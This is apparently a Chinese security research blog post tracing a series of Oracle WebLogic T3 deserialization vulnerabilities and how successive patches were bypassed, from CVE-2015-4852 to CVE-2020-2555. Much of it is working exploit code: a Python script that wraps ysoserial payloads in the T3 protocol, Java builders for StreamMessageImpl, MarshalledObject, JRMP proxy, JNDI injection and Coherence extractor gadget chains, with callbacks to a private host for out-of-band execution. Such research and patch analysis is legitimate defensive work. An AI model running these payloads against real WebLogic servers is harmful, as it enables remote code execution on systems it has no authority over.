环境搭建
使用ateam大哥开源的调试环境Weblogic环境搭建工具
漏洞环境搭建
1 2
| docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 . docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
|
调试环境搭建
将weblogic依赖的jar包拷贝出来并导入idea。
1 2 3 4
| mkdir wlserver1036 docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./wlserver1036 docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver/server/lib ./wlserver1036 docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
|
远程调试配置
T3 协议说明
t3是oracle对rmi的增强,和rmi一样在网络间传输时数据是序列化过的。文章的重点在于分析漏洞以及补丁为什么可以绕过,就不分析t3协议数据的格式了,在复现时我们只需要将生成的恶意序列化数据套在py模版中即可。如果有师傅想对weblogic体系及其t3协议的正常使用感兴趣推荐阅读WebLogic安全研究报告。
CVE-2015-4852
t3协议的传输过来的数据会在weblogic.rjvm.InboundMsgAbbrev#readObject中读取并进行反序列化。
因为是t3第一洞所以可以看到ServerChannelInputStream的resolveClass并没有任何做防御。
自带cc链
所以只需要把ysoserial的生成的payload嵌入t3协议即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| import socket import sys import struct import re import subprocess import binascii
def get_payload1(gadget, command): JAR_FILE = '/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar' popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE) return popen.stdout.read()
def get_payload2(path): with open(path, "rb") as f: return f.read()
def exp(host, port, payload): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode() sock.sendall(handshake) data = sock.recv(1024) pattern = re.compile(r"HELO:(.*).false") version = re.findall(pattern, data.decode()) if len(version) == 0: print("Not Weblogic") return
print("Weblogic {}".format(version[0])) data_len = binascii.a2b_hex(b"00000000") t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") flag = binascii.a2b_hex(b"fe010000") payload = data_len + t3header + flag + payload payload = struct.pack('>I', len(payload)) + payload[4:] sock.send(payload)
if __name__ == "__main__": host = "127.0.0.1" port = 7001 gadget = "CommonsCollections1" command = "touch /tmp/CVE-2015-4852"
payload = get_payload1(gadget, command) exp(host, port, payload)
|
CVE-2015-4852的修复
补丁:2016年1月 p21984589_1036_Generic
修复方法是在resolveClass中引入了 ClassFilter.isBlackListed进行过滤,跟进weblogic.rmi.ClassFilter可以看到黑名单内容。
除此之外,另外几个反序列化点也被加了相同的过滤(不一一打开看了)。
反序列化两个关键点,一个是触发反序列化的点,二是gadget。现在反序列化触发点有了,后面的t3的cve就是绕黑名单的各种技巧了。
为了让后面的分析更具有说服力,这里以10.3.6为例说明如何打补丁。
1 2 3 4 5 6 7 8
| docker run -it -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21 /bin/bash docker cp /Users/cengsiqi/Downloads/p21984589_1036_Generic weblogic1036jdk7u21:/p21984589_1036_Generic docker exec -it weblogic1036jdk7u21 /bin/bash cd /p21984589_1036_Generic mv patch-catalog_23510.xml patch-catalog.xml cd /u01/app/oracle/middleware/utils/bsu ./bsu.sh -install -patch_download_dir=/p21984589_1036_Generic -patchlist=S8C2 -prod_dir=/u01/app/oracle/middleware/wlserver/ /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh
|
如果打补丁时出现如下错误需要自行把bsu.sh中的内存参数MEM_ARGS调大一点。
成功后截图如下
这时再尝试打会出现Unauthorized
CVE-2016-0638
weblogic.jms.common.StreamMessageImpl没在黑名单,在其反序列化时会读取一段数据并进行反序列化,我们可以把这段数据伪造成rce payload。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| import weblogic.jms.common.StreamMessageImpl;
import java.io.*;
public class CVE_2016_0638 {
public static void main(String[] args) throws IOException { byte[] payload = exec("CommonsCollections1", "touch /tmp/CVE_2016_0638"); StreamMessageImpl streamMessage = new StreamMessageImpl(payload); ser(streamMessage, "CVE_2016_0638.ser"); }
public static byte[] exec(String gadget, String command) throws IOException { String[] cmd = {"java", "-jar", "/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar", gadget, command}; InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[4096]; int a = -1;
while ((a = in.read(b)) != -1) { baos.write(b, 0, a); }
return baos.toByteArray(); }
public static void ser(Object obj, String serName) throws IOException { File file = new File(serName); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(obj); System.out.println("-------序列化成功" + serName); } }
|
乱入一个QA
Q:StreamMessageImpl可以过黑名单很好理解,但是为啥CommonsCollections1依旧可以成功,CommonsCollections1(org.apache.commons.collections.functors)不是在黑名单里面吗?
A:答案是ServerChannelInputStream没有过滤到org.apache.commons.collections.functors(废话)。细节是这样的:ServerChannelInputStream的resolveClass检验到是StreamMessageImpl,不在黑名单里面,通过。然后在反序列化流程中会调用StreamMessageImpl的readExternal,readExternal内部又new了新的ObjectInputStream(以后简称ois)并从缓冲区读反序列化数据再次调用readObject,这里原生的ois就是原生的resolveClass方法没有过滤。
CVE-2016-0638的修复
补丁:2016年4月p22505423_1036_Generic
把原生的ois换成了FilteringObjectInputStream
CVE-2016-3510
weblogic.corba.utils.MarshalledObject不在黑名单中,并且在readResolve的时候会读取objBytes的值赋给新new的ois。那么我们在objBytes中放入rce payload即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| import weblogic.corba.utils.MarshalledObject; import weblogic.jms.common.StreamMessageImpl;
import java.io.*; import java.lang.reflect.Field;
public class CVE_2016_3510 { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { byte[] payload = exec("CommonsCollections1", "touch /tmp/CVE_2016_3510"); MarshalledObject marshalledObject = new MarshalledObject("foo"); Class cls = marshalledObject.getClass(); Field field = cls.getDeclaredField("objBytes"); field.setAccessible(true); field.set(marshalledObject, payload); ser(marshalledObject,"./CVE_2016_3510.ser"); }
public static byte[] exec(String gadget, String command) throws IOException { String[] cmd = {"java", "-jar", "/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar", gadget, command}; InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[4096]; int a = -1;
while ((a = in.read(b)) != -1) { baos.write(b, 0, a); }
return baos.toByteArray(); }
public static void ser(Object obj, String serName) throws IOException { File file = new File(serName); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(obj); System.out.println("-------序列化成功" + serName); } }
|
CVE-2016-3510的修复
补丁:2016年10月 p23743997_1036_Generic
重写了resolveClass方法,加了过滤。
CVE-2017-3248
利用JRMPClient进行带外rce,这个技巧相信看过橘子师傅shiro rce的操作的师很熟悉了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| import socket import sys import struct import re import subprocess import binascii
def get_payload1(gadget, command): JAR_FILE = '/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar' popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE) return popen.stdout.read()
def get_payload2(path): with open(path, "rb") as f: return f.read()
def exp(host, port, payload): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode() sock.sendall(handshake) data = sock.recv(1024) pattern = re.compile(r"HELO:(.*).false") version = re.findall(pattern, data.decode()) if len(version) == 0: print("Not Weblogic") return
print("Weblogic {}".format(version[0])) data_len = binascii.a2b_hex(b"00000000") t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") flag = binascii.a2b_hex(b"fe010000") payload = data_len + t3header + flag + payload payload = struct.pack('>I', len(payload)) + payload[4:] sock.send(payload)
if __name__ == "__main__": host = "127.0.0.1" port = 7001 gadget = "JRMPClient" command = "192.168.1.3:8080"
payload = get_payload1(gadget, command) ) ) exp(host, port, payload)
|
CVE-2017-3248的修复
补丁:p24667634_1036_Generic
官方的修复是新加resolveProxyClass,过滤java.rmi.registry.Registry
CVE-2018-2628
上面提到过滤了Registry,这样ysoserial中原生JRMPClient就打不了,但是仍然有多种办法bypass。
替换接口
引用@lpwd师傅的话:
这个CVE廖也提交了绕过,他的绕过是用java.rmi.activation.Activator替换java.rmi.registry.Registry,从而绕过resolveProxyClass的判断。其实这里对接口没有要求,不一定是rmi接口,随便找一个接口都行,比如java.util.Map
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| package ysoserial.payloads;
import java.lang.reflect.Proxy; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import java.util.Map;
@SuppressWarnings ( { "restriction" } ) @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Map> {
public Map getObject ( final String command ) throws Exception {
String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Map proxy = (Map) Proxy.newProxyInstance( JRMPClient.class.getClassLoader(), new Class[] { Map.class }, obj); return proxy; }
public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); PayloadRunner.run(JRMPClient.class, args); } }
|
直接用UnicastRef
CVE-2017-3248的构造中把UnicastRef放入了Registry,其实用UnicastRef也能在反序列化的时候发起jrmp请求。这种方法要比替换接口的干脆很多。在ysoserial中加一个JRMPClient2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| package ysoserial.payloads;
import java.rmi.server.ObjID; import java.util.Random; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner;
@SuppressWarnings ( { "restriction" } ) @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient2 extends PayloadRunner implements ObjectPayload<UnicastRef> {
public UnicastRef getObject ( final String command ) throws Exception {
String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); return ref; }
public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); PayloadRunner.run(JRMPClient.class, args); } }
|
CVE-2018-2628的修复
补丁:2018年四月发布的p27395085_1036_Generic
UnicastRef在weblogic.utils.io.oif.WebLogicFilterConfig中加进了黑名单。
CVE-2018-2893
streamMessageImpl + jrmp代理类绕过。先来看payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import weblogic.jms.common.StreamMessageImpl;
import java.io.*; import java.lang.reflect.Proxy; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random;
public class CVE_2018_2893 { public static void main(String[] args) throws IOException { ObjID objID = new ObjID(new Random().nextInt()); TCPEndpoint tcpEndpoint = new TCPEndpoint("192.168.1.3", 8080); UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false)); RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef); Object object = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler); StreamMessageImpl streamMessage = new StreamMessageImpl(serialize(object)); ser(streamMessage, "CVE_2018_2893.ser"); }
public static void ser(Object obj, String serName) throws IOException { File file = new File(serName); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(obj); System.out.println("-------序列化成功" + serName); }
public static byte[] serialize(final Object obj) throws IOException { final ByteArrayOutputStream out = new ByteArrayOutputStream(); serialize(obj, out); return out.toByteArray(); }
public static void serialize(final Object obj, final OutputStream out) throws IOException { final ObjectOutputStream objOut = new ObjectOutputStream(out); objOut.writeObject(obj); } }
|
什么鬼?payload中用到的streamMessageImpl、Registry、UnicastRef不是已经被修复了吗?
我们来细看一下怎么修的。
streamMessageImpl的readExternal内部是拿给FilteringObjectInputStream过滤。
FilteringObjectInputStream只是对普通类的反序列化进行了拦截,并没有对代理类进行拦截。对你没看错,虽然在CVE-2017-3248后ServerChannelInoutStream类中的resolveProxyClass过滤了Registry,但是这里的FilteringObjectInputStream并没有实现resolveProxyClass过滤代理类。
那UnicastRef又为啥逃过一劫?我们来看UnicastRef在序列化的时候经历了什么。在上面的payload中UnicastRef传入了RemoteObjectInvocationHandler,RemoteObjectInvocationHandler继承自RemoteObject。在RemoteObject writeObject时只是写入UnicastRef的类名(并没有把他作为一个类序列化)然后调用UnicastRef的writeExternal。
UnicastRef又用到了LiveRef的write,写入了反序列化时需要反连的host和端口。
由此可见UnicastRef从始至终并没有作为一个类被反序列化,如果分析这个payload的resolve*时序会发现完全没有反序列化UnicastRef。
如果你分析序列化出来的数据会发现UnicastRef只是TC_BLOCKDATA而不是TC_CLASSDESC。
CVE-2018-2893的修复
补丁:18年7月 p27919965_1036_Generic
这次修复把经过resolveClass的java.rmi.server.RemoteObjectInvocationHandler给过滤了。
CVE-2018-3245
再次引用@lpwd师傅的话:
根据前面的分析可知,我们只需要找一个类似java.rmi.server.RemoteObjectInvocationHandler的类进行替换,就能继续绕过了。
那么这个类应该满足以下条件:
继承远程类:java.rmi.server.RemoteObject
不在黑名单里边(java.rmi.activation. 、sun.rmi.server.)
随便找了一下,符合条件的挺多的:
javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import java.io.*; import java.rmi.server.ObjID; import java.util.Random;
public class CVE_2018_3245 { public static void main(String[] args) throws IOException { ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("192.168.1.3", 8080); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); ReferenceWrapper_Stub wrapperStub = new ReferenceWrapper_Stub(ref); ser(wrapperStub, "CVE_2018_3245.ser");
}
public static void ser(Object obj, String serName) throws IOException { File file = new File(serName); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(obj); System.out.println("-------序列化成功" + serName); }
}
|
CVE-2018-3245的修复
补丁:2018年8月 p28343311_1036_201808Generic
修复方法是添加更底层的java.rmi.server.RemoteObject。
CVE-2018-3191
这个洞是jndi注入。触发点在JtaTransactionManager。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream;
public class CVE_2018_3191 { public static void main(String[] args) throws IOException { String jndiAddress = "rmi://192.168.1.3:1099/Exploit"; JtaTransactionManager jtaTransactionManager = new JtaTransactionManager(); jtaTransactionManager.setUserTransactionName(jndiAddress); ser(jtaTransactionManager, "CVE_2018_3191.ser"); }
public static void ser(Object obj, String serName) throws IOException { File file = new File(serName); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(obj); System.out.println("-------序列化成功" + serName); } }
|
CVE-2018-3191的修复
补丁:2018年8月 p28343311_1036_Generic
CVE-2020-2555
Oracle Coherence组件存在漏洞,该组件默认集成在Weblogic12c及以上版本中(网上资料这么说的:web10.3.6也有只是默认没有启用,未验证)。
这个漏洞和cc5的构造有异曲同工之妙,触发点在BadAttributeValueExpException#readObject 中调用toString方法。
在Coherence组件中LimitFilter这个类刚好可以被序列化并且有toString这个方法。因为是反序列化,this.m_comparator和this.m_oAnchorBottom都可控。也就说extractor.extract(``this``.m_oAnchorBottom)
完全可控(更严格的说m_comparator需要是ValueExtractor的实例并且和m_oAnchorBottom都需要可被序列化)。
我们来看一下有哪些满足条件的类实现了extract。
可以注意到com.tangosol.util.extractor.ReflectionExtractor#extract
它可以被序列化并且extract里面是一组反射操作。
其次注意到com.tangosol.util.extractor.ChainedExtractor#extract
里面是对extrator进行链式操作(并且这个类同样可以被反序列化),说到这里已经可以看出来是和cc链一个套路了。
这里我是在windows上复现的(很奇怪我在linux完整安装打不了,windows上默认安装就可以,后来发现linux环境是7u21这个版本的BadAttributeValueExpException并没有readObject方法,另外不需要用完整示例安装默认安装即可)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| import com.tangosol.util.ValueExtractor; import com.tangosol.util.extractor.ChainedExtractor; import com.tangosol.util.extractor.ReflectionExtractor; import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field;
public class CVE_2020_2555 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { String cmd ="calc.exe"; ValueExtractor[] valueExtractors = new ValueExtractor[]{ new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}), new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}), new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", cmd}}) }; LimitFilter limitFilter = new LimitFilter(); limitFilter.setTopAnchor(Runtime.class); BadAttributeValueExpException expException = new BadAttributeValueExpException(null); Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator"); m_comparator.setAccessible(true); m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors)); Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop"); m_oAnchorTop.setAccessible(true); m_oAnchorTop.set(limitFilter, Runtime.class); Field val = expException.getClass().getDeclaredField("val"); val.setAccessible(true); val.set(expException, limitFilter); ser(expException, "./CVE_2020_2555_12013.ser"); }
public static void ser(Object obj, String serName) throws IOException { File file = new File(serName); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(obj); System.out.println("-------序列化成功" + serName); } }
|
CVE-2020-2555的修复
图片来自ZDL(侵删)可以看到是删了extractor.extract
总结
梳理完一遍之后,我们得以看到整个绕过思路的全貌。笔者主观分为三个阶段。
- 第一阶段,CVE-2016-0638和CVE-2016-3510。利用反序列化流程中新new的原生ois绕过,只要找到了read*系列的点可以比较容易的看出来。
- 第二阶段,cve-2017-3248到cve-2018-3191。利用jrmp、jndi带外rce,漏洞点没有在read*的代码上下文中需要多跟几步有点“pop”的感觉了。
- 第三阶段,cve-2020-2555,需要对java的反序列化出现过知识点很熟悉(java原生类的触发点+weblogic组件中类似cc的套路),据说这个漏洞的作者也挖了很久。
碍于笔者水平,行文出错在所难免,如有阅读此文的师傅发现错误还请不吝指正。
参考
从WebLogic看反序列化漏洞的利用与防御
Java 序列化之 Externalizable
Weblogic漏洞调试笔记
如何控制开放HTTPS服务的weblogic服务器
Weblogic CVE-2016-0638 StreamMessageImpl反序列化绕过分析
Patch S8C2 is mutually exclusive and cannot coexist with patch(es): ZLNA,EJUW
Weblogic JRMP反序列化漏洞回顾
CVE-2018-2893:Oracle WebLogic Server 远程代码执行漏洞分析预警
漫谈 Weblogic CVE-2020-2555
Oracle Coherence 反序列化漏洞分析(CVE-2020-2555)